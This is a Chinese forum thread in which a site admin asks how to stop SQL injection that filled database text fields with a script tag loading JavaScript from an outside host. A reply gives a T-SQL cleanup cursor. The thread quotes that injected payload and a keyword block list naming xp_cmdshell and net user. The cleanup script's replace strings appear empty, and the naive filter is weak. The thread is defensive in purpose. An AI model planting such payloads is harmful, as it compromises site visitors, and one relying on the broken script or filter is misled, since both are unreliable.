公司的网站使用ASP.NET2.0+SQL2000做的,这几天老受sql注入攻击,数据库中80%的表字段类型为text的内容都被<script src=http://252a.cn/1.js></script>这样的木马代码给覆盖了,我在Global.asax文件中加了过滤特殊字符的代码,如把像;|-|select|insert|delete|from|drop table|update|truncate|xp_cmdshell|exec master|netlocalgroup administrators|:|net user|""|or|and这样的字符都过滤掉了还是不行,请问各位关于sql注入攻击有没有什么好的防御方法,我用触发器试了下,但好像对text这样类型的字段不管用,而我数据库中有关内容显示的都是用的text类型,
那就要替换掉<script .. <iframe <link 等标记.
Declare @T Varchar(255)
Declare @C Varchar(255)
Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)
Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0)
Begin
Exec('update ['+@T+'] Set ['+@C+']=Replace(Cast(['+@C+'] as nvarchar(4000)),'''','''')')Fetch Next From Table_Cursor Into @T,@C
End
Close Table_Cursor
Deallocate Table_Cursor
替换注入内容
http://topic.csdn.net/u/20090809/13/fcd81dda-1902-46cf-ac39-bb31dff32941.html